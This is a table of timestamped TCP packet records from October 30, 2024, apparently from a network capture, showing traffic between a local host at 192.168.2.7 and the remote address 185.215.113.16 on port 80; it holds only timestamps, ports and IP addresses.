Oct 30, 2024 11:46:36.740164042 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.740176916 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.740189075 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.740200996 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.740207911 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.740242004 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.740854025 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.740911961 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.740941048 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.740958929 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.740979910 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.740995884 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.784858942 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.784879923 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.784892082 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.784995079 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.859246969 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859267950 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859277964 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859446049 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859463930 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859477043 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859487057 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859498978 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.859551907 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.859697104 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.860342979 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.860354900 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.860366106 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.860435009 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.904508114 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.904522896 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.904534101 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.904547930 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.904757977 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.979528904 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.979543924 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.979559898 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.979665995 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.979691029 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.979809999 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.979845047 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.979856968 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.979868889 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.979938984 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.980392933 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.980403900 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.980416059 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.980426073 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.980470896 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.980520964 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:36.980853081 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.980863094 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:36.980937958 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.023938894 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.023955107 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.023993015 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.024013042 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.024030924 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.024041891 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.024053097 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.024075985 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.024102926 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.098679066 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.098697901 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.098720074 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.098731041 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.098743916 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.098754883 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.098767996 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.098933935 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.099057913 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.099558115 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.099641085 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.099718094 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.099730015 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.099742889 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.099801064 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.099844933 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.143778086 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.143794060 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.143805027 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.143908024 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.143913984 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.143919945 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.143932104 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.144018888 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.218426943 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218445063 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218456030 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218467951 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218627930 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218637943 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218650103 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218666077 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218676090 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.218739986 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.218826056 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.219538927 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.219552040 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.219562054 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.219644070 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.273139000 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.273164988 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.273176908 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.273188114 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.273200035 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.273354053 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.337773085 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.337799072 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.337831020 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.337862968 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.337874889 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.337922096 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.337944984 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.337984085 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.338090897 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.338520050 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.338531971 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.338545084 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.338555098 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.338615894 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.339093924 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.339116096 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.339127064 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.339174986 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.339229107 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.383244038 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.383259058 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.383271933 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.383284092 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.383296013 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.383436918 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.383608103 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.383677006 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.458156109 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458178997 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458190918 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458200932 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458211899 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458272934 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.458622932 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458652020 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.458682060 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.458694935 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458705902 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458718061 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458729982 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458740950 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.458744049 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.458791018 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.502810001 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.502944946 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.502957106 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.502968073 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.502979994 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.502990007 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.502996922 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.503041983 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.503079891 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.577074051 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577102900 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577112913 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577125072 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577212095 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.577240944 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.577652931 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577672958 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577685118 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577704906 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.577748060 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.577764034 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577775955 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.577804089 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.577842951 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.578210115 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.578258991 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.578259945 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.578272104 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.578283072 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.578298092 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.578321934 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.622339964 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.622354984 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.622366905 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.622417927 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.622466087 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.622508049 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.622519016 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.622529984 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.622546911 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.622572899 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.664839029 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.664868116 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.664880991 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.665045977 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.696855068 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.696880102 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.696891069 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.696929932 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.696959972 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.697463036 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.697473049 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.697509050 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.697566032 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.697588921 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.697598934 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.697618008 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.697628021 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.697633982 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.697638988 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.697658062 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.697693110 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.698407888 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.698429108 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.698438883 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.698453903 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.698497057 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.742465973 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.742486954 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.742500067 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.742511034 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.742523909 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.742578030 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.742613077 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.742686033 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.742724895 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.742752075 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.742790937 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.784563065 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.784583092 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.784595966 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.784672022 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.816529036 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.816544056 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.816556931 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.816675901 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.817219019 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817230940 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817243099 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817275047 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.817329884 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.817409039 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817419052 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817430019 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817459106 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.817483902 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.817850113 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817862034 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817873001 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.817898989 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.817917109 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.861841917 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.861882925 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.861893892 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.861933947 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.861979008 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.861991882 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.861991882 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.862005949 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.862027884 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.862066031 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.904246092 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.904259920 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.904272079 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.904383898 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.904472113 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.904484034 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.904500008 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.904524088 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.904582977 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.936260939 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.936284065 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.936295033 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.936413050 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.936836958 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.936849117 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.936860085 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.936898947 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.936923027 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.937005997 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.937016964 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.937027931 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.937052965 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.937084913 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.937452078 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.937463999 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.937474966 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.937500000 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.937534094 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.981617928 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.981679916 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.981692076 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.981745958 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.981755972 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.981781960 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:37.981785059 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:37.981834888 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.023868084 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.023880959 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.023893118 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.023971081 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.024010897 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.024044991 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.024060965 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.024071932 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.024107933 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.055764914 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.055788040 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.055798054 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.055922031 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.056499004 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.056510925 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.056529045 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.056535959 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.056541920 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.056588888 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.056611061 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.056952953 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.056966066 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.056982040 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.057024956 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.057024956 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.057280064 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.057328939 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.057336092 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.057342052 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.057368040 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.057390928 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.101288080 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.101339102 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.101350069 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.101361036 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.101404905 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.101430893 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.101548910 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.101558924 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:38.101583004 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.101619959 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:38.143518925 CET	80	58190	185.215.113.16	192.168.2.7
